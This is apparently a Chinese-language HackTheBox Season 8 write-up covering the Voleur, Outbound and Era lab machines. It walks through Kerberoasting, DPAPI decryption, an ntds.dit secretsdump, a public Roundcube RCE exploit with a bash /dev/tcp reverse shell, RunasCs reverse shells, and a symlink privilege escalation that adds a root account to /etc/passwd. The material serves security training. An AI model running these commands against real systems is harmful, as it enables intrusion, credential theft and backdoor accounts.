HackTheBox - Season 8 (2/2)

Screenshot 2025-11-03 at 20.56.55


Week 8 - Voleur

🕒 2025/07/07

Voleur

  • IP: 10.10.11.76
  • OS: Windows
  • Difficulty: Medium
  • Creds: ryan.naylor | HollowOct31Nyt

1. Enumeration

首先,我們來用 nmap 掃這台機器的所有 ports 。

  • $ sudo nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.76
# Nmap 7.95 scan initiated Sun Jul  6 17:07:11 2025 as: /usr/lib/nmap/nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.76
Nmap scan report for 10.10.11.76
Host is up (0.21s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-06 17:10:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2222/tcp  open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
63100/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
63101/tcp open  msrpc         Microsoft Windows RPC
63113/tcp open  msrpc         Microsoft Windows RPC
63118/tcp open  msrpc         Microsoft Windows RPC
63132/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.595 days (since Sun Jul  6 02:55:41 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 7h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-06T17:11:18
|_  start_date: N/A

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   212.68 ms 10.10.14.1
2   213.44 ms 10.10.11.76

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul  6 17:12:02 2025 -- 1 IP address (1 host up) scanned in 291.18 seconds

接下來,為了確認 DC 的具體 hostname ,我們使用 dig 向目標 DNS server 查詢:

  • $ dig ANY voleur.htb @10.10.11.76
    image

可以看到 dig 的輸出結果中,回傳了 voleur.htbdc.voleur.htb 的 A 紀錄指向10.10.11.76

所以我們把 10.10.11.76 voleur.htb dc.voleur.htb 加進去 /etc/hosts

  • /etc/hosts
...
10.10.11.76    voleur.htb dc.voleur.htb

2. SMB

官方有給一組帳號密碼,我們嘗試列舉 SMB shares :

  • $ nxc smb 10.10.11.76 -d voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' --shares
    Screenshot 2025-12-07 at 18.37.16

伺服器回傳了 STATUS_NOT_SUPPORTED ,這通常意味著目標機器(DC)禁用了 NTLM 認證,或者強制要求更安全的認證機制。因此,我們嘗試改用 Kerberos 協定來進行存取:

  • $ impacket-getTGT voleur.htb/ryan.naylor:'HollowOct31Nyt' -dc-ip 10.10.11.76
    $ KRB5CCNAME=/home/kali/HTB/S8/voleur/kerberos/ryan.naylor.ccache nxc smb dc.voleur.htb -d voleur.htb --use-kcache --shares
    Screenshot 2025-12-07 at 18.49.53

成功列舉出 SMB shares 後,發現了一個非預設的共享目錄 IT 。我們使用 impacket-smbclient 連入查看:

  • $ KRB5CCNAME=/home/kali/HTB/S8/voleur/kerberos/ryan.naylor.ccache impacket-smbclient -k -no-pass -dc-ip 10.10.11.76 voleur.htb/ryan.naylor@dc.voleur.htb
    # use IT
    Screenshot 2025-12-07 at 18.53.05

IT 目錄中發現了一份敏感文件 Access_Review.xlsx

image

下載 Access_Review.xlsx 後發現該檔案受到密碼保護。我們使用 office2john 提取 hash ,並透過 John the Ripper 進行暴力破解:

  • $ office2john Access_Review.xlsx > hash.txt
    image
  • $ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=Wordlist
    image

成功破解密碼為: football1

開啟 Excel 檔案後,我們獲得了多組帳號與其密碼:

image

  • todd.wolfe | NightT1meP1dg3on14
  • svc_ldap | M1XyC9pW7qT5Vn
  • svc_iis | N5pXyW1VqM7CZ8

我們隨即驗證了這些帳號的有效性,確認 svc_ldapsvc_iis 可申請到 Kerberos TGT,表示其密碼是正確的:

  • $ impacket-getTGT voleur.htb/todd.wolfe:'NightT1meP1dg3on14' -dc-ip 10.10.11.76
  • $ impacket-getTGT voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip 10.10.11.76
  • $ impacket-getTGT voleur.htb/svc_iis:'N5pXyW1VqM7CZ8' -dc-ip 10.10.11.76
    Screenshot 2025-12-07 at 19.04.15

3. svc_ldap -> svc_winrm (Targeted Kerberoasting)

為了尋找更進一步的攻擊路徑,我們使用 bloodhound-python 遠端蒐集網域內的物件關係與權限設定:

image

我們發現 svc_ldapsvc_winrm 擁有 WriteSPN 權限。我們可以嘗試利用 Targeted Kerberoasting 取得 svc_winrm 的密碼,即可遠端 WinRM 登入。

WriteSPN
這是一個非常危險的配置,因為它允許攻擊者對該帳號執行 Targeted Kerberoasting 攻擊。一般的使用者帳號預設沒有 SPN ,因此無法進行 Kerberoasting。但擁有此權限後,我們可以強行幫 svc_winrm 寫入一個 SPN ,使其變成可被 Kerberoast 的狀態。

我們準備了一個 add-spn.ldif 檔案(內容是增加一個任意的 SPN ),並使用 ldapmodify 利用 svc_ldap 的權限將其寫入 AD :

  • $ ldapmodify -H ldap://10.10.11.76 -D 'voleur\svc_ldap' -w 'M1XyC9pW7qT5Vn' -f add-spn.ldif
    image

一旦 SPN 寫入成功,svc_winrm 就變成了一個服務帳號。現在我們可以使用標準的 Kerberoasting 手法,向 KDC 請求該帳號的 TGS :

  • $ impacket-getTGT voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip 10.10.11.76
    Screenshot 2025-12-07 at 19.44.49
  • $ KRB5CCNAME=/home/kali/HTB/S8/voleur/kerberos/svc_ldap.ccache impacket-GetUserSPNs -request -dc-ip 10.10.11.76 -dc-host dc.voleur.htb -k -no-pass -outputfile hashes_kerberoast.txt voleur.htb/svc_ldap
    Screenshot 2025-12-07 at 19.58.31

成功取得 hash 後,使用 hashcat 搭配 rockyou.txt 字典進行破解:

  • $ hashcat -m 13100 hashes_kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    image

成功破解: svc_winrm | AFireInsidedeOzarctica980219afi

接下來,我們設定 Kerberos 環境並利用 evil-winrm 嘗試登入 :

獲取 svc_winrm 的 TGT :

  • impacket-getTGT voleur.htb/svc_winrm:'AFireInsidedeOzarctica980219afi' -dc-ip 10.10.11.76
    Screenshot 2025-12-07 at 20.12.10

配置 krb5.conf

  • krb5.conf
    ​​​​[libdefaults]
    ​​​​  dns_lookup_kdc = false
    ​​​​  dns_lookup_realm = false
    ​​​​  default_realm = VOLEUR.HTB
    
    ​​​​[realms]
    ​​​​  VOLEUR.HTB = {
    ​​​​    kdc = dc.voleur.htb
    ​​​​    admin_server = dc.voleur.htb
    ​​​​    default_domain = voleur.htb
    ​​​​  }
    
    ​​​​[domain_realm]
    ​​​​  .voleur.htb = VOLEUR.HTB
    ​​​​  voleur.htb = VOLEUR.HTB
    

利用 evil-winrm 嘗試登入 (設定環境變數以使其正確指向指定的 krb5.conf 以及 .ccache) :

  • ​​$ KRB5_CONFIG=/home/kali/HTB/voleur/kerberos/krb5.conf \
    ​​KRB5CCNAME=/home/kali/HTB/voleur/kerberos/svc_winrm.ccache \
    ​​evil-winrm -r voleur.htb -i dc.voleur.htb
    
    image

svc_winrm 登入成功,拿到 user flag :

  • C:\Users\svc_winrm\Desktop\user.txt
    upload_2f20ebef996e512025d0bc0a7ce71e70

4. Recover Deleted User (Todd Wolfe)

在先前的枚舉階段,我們從 Access_Review.xlsx 取得 todd.wolfe 的密碼,並得知 todd.wolfe 很有可能被刪除。
我們嘗試搜尋 AD 中的 Deleted Objects 。然而,當前身分 svc_winrm 權限不足,無法讀取該容器內容。

基於帳號命名慣例, svc_ldap 極有可能擁有讀取 Deleted Objects 甚至還原物件的權限。我們利用先前破解出的密碼 M1XyC9pW7qT5Vn ,使用 RunasCssvc_ldap 的身分建立 reverse shell 連線:

  • > .\RunasCs.exe svc_ldap "M1XyC9pW7qT5Vn" cmd.exe -r 10.10.14.6:443
    Screenshot 2025-12-07 at 20.49.07
  • nc -nvlp 443
    Screenshot 2025-12-07 at 20.48.33

成功取得 svc_ldap 的權限後,我們來查詢已刪除的物件:

  • > Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
    ​​​​CanonicalName                   : voleur.htb/Deleted Objects
    ​​​​CN                              : Deleted Objects
    ​​​​Created                         : 1/29/2025 12:42:27 AM
    ​​​​createTimeStamp                 : 1/29/2025 12:42:27 AM
    ​​​​Deleted                         : True
    ​​​​Description                     : Default container for deleted objects
    ​​​​DisplayName                     : 
    ​​​​DistinguishedName               : CN=Deleted Objects,DC=voleur,DC=htb
    ​​​​dSCorePropagationData           : {12/31/1600 4:00:00 PM}
    ​​​​instanceType                    : 4
    ​​​​isCriticalSystemObject          : True
    ​​​​isDeleted                       : True
    ​​​​LastKnownParent                 : 
    ​​​​Modified                        : 1/29/2025 4:44:42 AM
    ​​​​modifyTimeStamp                 : 1/29/2025 4:44:42 AM
    ​​​​Name                            : Deleted Objects
    ​​​​ObjectCategory                  : CN=Container,CN=Schema,CN=Configuration,DC=voleur,DC=htb
    ​​​​ObjectClass                     : container
    ​​​​ObjectGUID                      : 587cd8b4-6f6a-46d9-8bd4-8fb31d2e18d8
    ​​​​ProtectedFromAccidentalDeletion : 
    ​​​​sDRightsEffective               : 0
    ​​​​showInAdvancedViewOnly          : True
    ​​​​systemFlags                     : -1946157056
    ​​​​uSNChanged                      : 13005
    ​​​​uSNCreated                      : 5659
    ​​​​whenChanged                     : 1/29/2025 4:44:42 AM
    ​​​​whenCreated                     : 1/29/2025 12:42:27 AM
    
    ​​​​accountExpires                  : 9223372036854775807
    ​​​​badPasswordTime                 : 0
    ​​​​badPwdCount                     : 0
    ​​​​CanonicalName                   : voleur.htb/Deleted Objects/Todd Wolfe
    ​​​​                                  DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
    ​​​​CN                              : Todd Wolfe
    ​​​​                                  DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
    ​​​​codePage                        : 0
    ​​​​countryCode                     : 0
    ​​​​Created                         : 1/29/2025 1:08:06 AM
    ​​​​createTimeStamp                 : 1/29/2025 1:08:06 AM
    ​​​​Deleted                         : True
    ​​​​Description                     : Second-Line Support Technician
    ​​​​DisplayName                     : Todd Wolfe
    ​​​​DistinguishedName               : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted 
    ​​​​                                  Objects,DC=voleur,DC=htb
    ​​​​dSCorePropagationData           : {5/13/2025 4:11:10 PM, 1/29/2025 4:52:29 AM, 1/29/2025 4:49:29 AM, 1/29/2025 1:08:06 
    ​​​​                                  AM...}
    ​​​​givenName                       : Todd
    ​​​​instanceType                    : 4
    ​​​​isDeleted                       : True
    ​​​​LastKnownParent                 : OU=Second-Line Support Technicians,DC=voleur,DC=htb
    ​​​​lastLogoff                      : 0
    ​​​​lastLogon                       : 133826301603754403
    ​​​​lastLogonTimestamp              : 133826287869758230
    ​​​​logonCount                      : 3
    ​​​​memberOf                        : {CN=Second-Line Technicians,DC=voleur,DC=htb, CN=Remote Management 
    ​​​​                                  Users,CN=Builtin,DC=voleur,DC=htb}
    ​​​​Modified                        : 5/13/2025 4:11:17 PM
    ​​​​modifyTimeStamp                 : 5/13/2025 4:11:17 PM
    ​​​​msDS-LastKnownRDN               : Todd Wolfe
    ​​​​Name                            : Todd Wolfe
    ​​​​                                  DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
    ​​​​nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
    ​​​​ObjectCategory                  : 
    ​​​​ObjectClass                     : user
    ​​​​ObjectGUID                      : 1c6b1deb-c372-4cbb-87b1-15031de169db
    ​​​​objectSid                       : S-1-5-21-3927696377-1337352550-2781715495-1110
    ​​​​primaryGroupID                  : 513
    ​​​​ProtectedFromAccidentalDeletion : False
    ​​​​pwdLastSet                      : 133826280731790960
    ​​​​sAMAccountName                  : todd.wolfe
    ​​​​sDRightsEffective               : 0
    ​​​​sn                              : Wolfe
    ​​​​userAccountControl              : 66048
    ​​​​userPrincipalName               : todd.wolfe@voleur.htb
    ​​​​uSNChanged                      : 45088
    ​​​​uSNCreated                      : 12863
    ​​​​whenChanged                     : 5/13/2025 4:11:17 PM
    ​​​​whenCreated                     : 1/29/2025 1:08:06 AM
    

指令成功列出了 Deleted Objects 容器的內容,並在其中發現了目標使用者:

  • DisplayName: Todd Wolfe
  • ObjectGUID: 1c6b1deb-c372-4cbb-87b1-15031de169db
  • Description: Second-Line Support Technician

這證實了 Todd Wolfe 確實存在於資源回收桶中。確認目標後,我們執行還原使用者操作:

  • Restore-ADObject -Identity 1c6b1deb-c372-4cbb-87b1-15031de169db
    Screenshot 2025-12-07 at 21.08.40

帳號還原成功後,我們使用 Excel 中紀錄的密碼 NightT1meP1dg3on14,再次利用 RunasCs 進行身分切換,取得 todd.wolfe 的 reverse shell :

  • > .\RunasCs.exe todd.wolfe "NightT1meP1dg3on14" cmd.exe -r 10.10.14.4:443
    image
  • $ nc -nvlp 443
    image

5. DPAPI (Sensitive File)

在取得 todd.wolfe 的 shell 之後,我們對其家目錄與相關備份檔案進行列舉。在 C:\IT 目錄下,我們發現了一個名為 Archived Users 的資料夾,其中似乎備份了舊使用者的設定檔。

在路徑 C:\IT\Second-Line Support\Archived Users\todd.wolfe\ 中,我們發現了兩個關鍵的 DPAPI 相關檔案路徑:

  • Credential Blob: 位於 AppData\Roaming\Microsoft\Credentials\ 下,檔名為 772275FAD58525253490A9B0039791D3。這通常包含儲存的網路密碼、RDP 憑證等。
    image
  • Master Key File: 位於 AppData\Roaming\Microsoft\Protect\{SID}\ 下,檔名為 08949382-134f-4c63-b93c-ce52efc0aa88
    image

DPAPI (Data Protection API):

DPAPI 是 Windows 內建的密碼保護機制,用於安全儲存使用者的敏感資訊(如瀏覽器密碼、Wi-Fi 金鑰、RDP 憑證等),而無需讓應用程式自行管理加密金鑰。

DPAPI 採用層級式的金鑰架構:

  1. 使用者登入密碼:作為加密的根基。
  2. Master Key:由登入密碼加密保護,儲存於 %APPDATA%\Microsoft\Protect\{SID}
  3. Credential Blob:實際的機密檔案(如我們發現的 772275FAD...),由 Master Key 進行加密。

攻擊思路:
由於 DPAPI 的安全性依賴於使用者的登入密碼,一旦攻擊者獲取了 明文密碼 (或 NTLM Hash) 及使用者的 SID,即可離線解密 Master Key,進而還原所有受該帳號保護的敏感憑證。

詳細可參考:
https://hacktricks.boitatech.com.br/windows/windows-local-privilege-escalation/dpapi-extracting-passwords

我們將這兩個檔案下載到攻擊機上,使用 impacket-dpapi 進行解密。

首先,我們利用使用者的密碼與 SID 來解密 Master Key 檔案,取得原始的 Master Key :

  • $ impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password 'NightT1meP1dg3on14'
    image

我們獲得了一串 Master Key 。

接著,我們使用剛剛取得的 Master Key 來解密那個神祕的憑證檔案 772275FAD...

  • impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key "0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83"
    image

解密成功。輸出顯示該憑證檔案中儲存了一組網域使用者的帳號密碼: jeremy.combs | qT3V9pLXyN7W4m

6. jeremy.combs -> svc_backup

同樣因為 NTLM 限制,我們透過 Kerberos 登入 jeremy.combs 的帳號:

  • ​​$ impacket-getTGT voleur.htb/jeremy.combs:'qT3V9pLXyN7W4m' -dc-ip 10.10.11.76
    
    ​​$ KRB5_CONFIG=/home/kali/HTB/voleur/kerberos/krb5.conf \
    ​​KRB5CCNAME=/home/kali/HTB/voleur/kerberos/jeremy.combs.ccache \
    ​​evil-winrm -r voleur.htb -i dc.voleur.htb
    
    image

成功取得 jeremy.combs 的 shell。

登入後,我們繼續對 C:\IT 目錄進行深入挖掘。由於 jeremy.combs 的權限似乎比前一個使用者更高(屬於 Third-Line Support 相關人員),我們現在可以存取之前無法進入的資料夾。

進入 C:\IT\Third-Line Support 目錄後,我們發現了一個資料夾 Backups (權限不足)、兩個檔案 id_rsaNote.txt.txt

  • \IT\Third-Line Support
    image

回顧最早在 Access_Review.xlsx 發現的使用者清單,我們推論此 SSH key id_rsa 屬於 user svc_backup

image

我們將 id_rsa 下載到攻擊機,嘗試對目標主機以 svc_backup 進行 SSH 連線(port 2222):

  • $ ssh -i id_rsa svc_backup@10.10.11.76 -p 2222
    image

登入成功。我們成功取得了 svc_backup 的 shell (WSL)。

7. svc_backup -> Administrator

成功透過 SSH 登入 svc_backup 後,我們發現這是一個掛載了 Windows 檔案系統的環境 (WSL)。

我們前往先前在 IT 目錄下看到的備份路徑 /mnt/c/IT/Third-Line Support/Backups 進行查看。在這裡,我們發現了兩個代表網域最高權限的關鍵檔案:

  • ntds.dit: 這是 AD 的核心資料庫,包含了網域內所有物件的資訊以及所有使用者的 password hash 。
  • SYSTEM: 這是 Windows 的系統登錄檔 (Registry Hive),裡面包含了用來解密 ntds.dit 的 Boot Key (System Key)。

image

我們將這兩個檔案下載回攻擊機,並使用 impacket-secretsdump 進行離線提取。由於我們同時擁有資料庫 (-ntds) 和解密金鑰 (-system),我們可以瞬間匯出網域內所有使用者的 NTLM hash :

  • impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
    image

我們成功取得了 Administrator 的 hash 。

取得 Administrator 的 hash 後,由於目標環境限制 NTLM 驗證,我們再次使用 Pass-the-Hash 的技巧向 KDC 請求 Kerberos TGT ,透過 Kerberos 的方式登入:

  • ​​$ impacket-getTGT voleur.htb/Administrator -hashes :e656e07c56d831611b577b160b259ad2 -dc-ip 10.10.11.76
    ​​
    ​​$ KRB5_CONFIG=/home/kali/HTB/voleur/kerberos/krb5.conf \
    ​​KRB5CCNAME=/home/kali/HTB/voleur/kerberos/Administrator.ccache \ 
    ​​evil-winrm -r voleur.htb -i dc.voleur.htb
    
    image

最後,以 Administrator 的身份取得 root flag :

  • C:\Users\Administrator\Desktop\root.txt
    upload_1f6c331d306f3f234fb35b5c02cf4d27

Week 9 - Outbound

🕒 2025/07/14

Outbound

  • IP: 10.10.11.77
  • OS: Linux
  • Difficulty: Easy
  • Credentials: tyler | LhKL1o9Nm3X2

1. Nmap

首先,我們來用 nmap 掃這台機器的所有 ports 。

  • sudo nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.77
# Nmap 7.95 scan initiated Sun Jul 13 20:59:12 2025 as: /usr/lib/nmap/nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.77
Nmap scan report for 10.10.11.77
Host is up (0.20s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 47.344 days (since Tue May 27 12:46:51 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=265 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT       ADDRESS
1   202.98 ms 10.10.14.1
2   203.49 ms 10.10.11.77

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 13 21:01:44 2025 -- 1 IP address (1 host up) scanned in 152.06 seconds

可以看到, port 80 是開啟的,且該網頁會重導向至 http://mail.outbound.htb/

我們將 outbound.htbmail.outbound.htb 加入 /etc/hosts 文件中:

  • /etc/hosts
    ​​​​...
    ​​​​10.10.11.77    outbound.htb mail.outbound.htb
    

2. Website

訪問 http://mail.outbound.htb/

image

我們看到了一個 Webmail 的登入頁面。

我們用提供的帳號密碼登入:

Screenshot 2025-12-09 at 22.01.50

成功登入後,點擊頁面上的 About 查看此服務的資訊,確認該 Webmail 系統為 Roundcube Webmail ,版本號為 1.6.10 。

Screenshot 2025-12-09 at 22.02.53

3. CVE-2025-49113

經過搜尋 Roundcube 1.6.10 的相關漏洞,我們鎖定了 CVE-2025-49113。這是一個嚴重的高風險漏洞,允許經過身份驗證的使用者在伺服器上執行任意程式碼 (Authenticated RCE)。

我們使用 GitHub 上公開的 PoC 腳本來進行攻擊:
https://github.com/hakaioffsec/CVE-2025-49113-exploit

先架好 netcat listener ,接下來執行攻擊指令:

  • $ php CVE-2025-49113.php http://mail.outbound.htb/ tyler 'LhKL1o9Nm3X2' "bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'"
    image
  • $ nc -nvlp 443
    image

成功獲得了目標機器的 shell (www-data) 。

4. Sensetive Files (www-data -> jacob)

在取得 www-data 權限後,我們開始對網站目錄進行枚舉,尋找設定檔或其他敏感資訊。

我們在 /var/www/html/roundcube/config/ 目錄下發現了 config.inc.php。這通常是 Web 應用程式的核心設定檔:

  • /var/www/html/roundcube/config/config.inc.php
    image

    image

我們獲取了兩個關鍵資訊:

  • Database Credentials: $config['db_dsnw'] 揭露了資料庫連線字串,包含使用者 roundcube 與密碼 RCDBPass2025
  • DES Key: $config['des_key'],這是 Roundcube 用來加密 Session 資料的密鑰。

利用取得的憑證登入 MySQL 資料庫,經過一番查找,我們在 DB roundcube 的 table session 找到一筆可疑的紀錄:

  • $ mysql -u roundcube -p'RCDBPass2025' roundcube -e 'SELECT * FROM session;'
    image

查詢結果顯示該筆資料的 vars 欄位包含了一長串 Base64 編碼後的 Session 數據,這很可能隱藏了使用者的敏感資訊。

我們首先對資料庫中的 vars 欄位進行 Base64 解碼:

image

解碼後的內容仍然是加密的亂碼。為了還原明文,我們利用先前在 config.inc.php 找到的 des_key,並編寫了一個 Python 腳本來進行 DES 解密。

image

成功取得 jacob 的密碼: 595mO8DmwGeD

我們嘗試用密碼 SSH 登入失敗,看來 jacob 沒有跟網站設相同的密碼。
jacob 登入網站:

Screenshot 2025-12-10 at 21.00.06

成功以 jacob 登入,我們在 jacob 的 inbox 發現敏感資訊,是 jacob 的密碼:

Screenshot 2025-12-10 at 21.02.16

以此密碼成功登入 jacob

  • $ sshpass -p 'gY4Wr3a1evp4' ssh jacob@10.10.11.77
    image

成功拿到 user flag :

  • /home/jacob/user.txt
    upload_c9d3548731aa54ec9cf48e82365dbec5

5. Abusing sudo (CVE-2025-27591)

取得使用者權限後,我們檢查 sudo 權限,發現 jacob 可以免密碼以 root 身分執行 /usr/bin/below

  • $ sudo -l
    image

為了確認該軟體是否存在已知漏洞,我們嘗試找出它的版本號。在 Rust 的專案設定檔 Cargo.toml 中,我們確認了其版本為 0.8.0。

  • /opt/below/below/config/Cargo.toml
    Screenshot 2025-12-10 at 21.22.52

根據此篇的揭露,below 的 0.8.1 版本之前存在一個本地提權漏洞 (CVE-2025-27591)。
below 以 root 權限啟動 record 模式時,它會寫入日誌檔 /var/log/below/error_root.log 。然而,程式沒有正確檢查該檔案是否為 symlink ,且可能會改變該檔案的權限或允許寫入。這允許攻擊者透過 Symlink Attack 覆蓋或修改系統上的任意檔案。

我們的目標是取得 /etc/passwd 的寫入權限,並新增一個 root 權限的使用者。

  1. 原先的 /etc/passwd 權限:

    image

  2. 建立惡意連結
    首先,刪除原本的 log 檔,並建立一個指向 /etc/passwd 的 symlink :

  • ​​$ rm /var/log/below/error_root.log
    ​​$ ln -s /etc/passwd /var/log/below/error_root.log
    
    image
  1. 觸發漏洞
    接著,利用 sudo 啟動 below 的 record 模式。這會觸發程式以 root 權限開啟我們連結的 /etc/passwd ,並因漏洞導致權限改變:

    • $ sudo /usr/bin/below record
      image

    可以看到, /etc/passwd 的權限變為rw-rw-rw-

  2. 新增後門帳號
    漏洞觸發成功後,我們獲得了對 /etc/passwd 的編輯權限。我們直接在檔案末端加入一個擁有 root 權限的使用者 root2

    image

接著就可以利用新建立的 root2 帳號透過 SSH 登入系統:

  • $ sshpass -p 'P@55w0rd' ssh root2@10.10.11.77
    image

登入成功,確認 UID 為 0。
最後讀取 root flag :

  • /root/root.txt
    upload_6dce1ad4454a69d55ea5a412dcfb59ac

Week 10 - Mirage (unsolved)

[UNSOLVED]

Mirage

  • IP: 10.10.11.78
  • OS: Windows
  • Difficulty: Hard

Week 11 - Era

🕒 2025/08/02

Era

  • IP: 10.10.11.79
  • OS: Linux
  • Difficulty: Medium

1. Nmap

首先,我們來用 nmap 掃這台機器的所有 ports 。

  • sudo nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.79
# Nmap 7.95 scan initiated Thu Jul 31 22:24:56 2025 as: /usr/lib/nmap/nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.79
Nmap scan report for 10.10.11.79
Host is up (0.21s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://era.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 42.889 days (since Thu Jun 19 01:07:33 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   205.30 ms 10.10.14.1
2   205.88 ms 10.10.11.79

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 31 22:27:36 2025 -- 1 IP address (1 host up) scanned in 159.93 seconds

2. Website

ports 80 是開的,我們可以試著造訪看看。

先把 era.htb 加進 /etc/hosts

...
10.10.11.79    era.htb

造訪 http://era.htb/

image

由於主站 http://era.htb 上並沒有發現太多有價值的資訊,我們轉而檢查是否存在其他 virtual host :

  • $ gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://era.htb --append-domain -t 32 -o gobuster-vhost.txt
    image

掃描結果成功發現了一個子網域:file.era.htb

將其加入 /etc/hosts

...
10.10.11.79    era.htb file.era.htb

造訪 http://file.era.htb/

image

  • 點擊 Sign in 後的畫面:
    image
  • 點擊 login using security questions 後的畫面:
    image

這似乎是一個文件管理系統。

Log in Using Security Questions 頁面,我們發現到如果輸入不存在的使用者名稱,系統會直接返回錯誤訊息: User not found.

Screenshot 2025-12-10 at 22.27.29

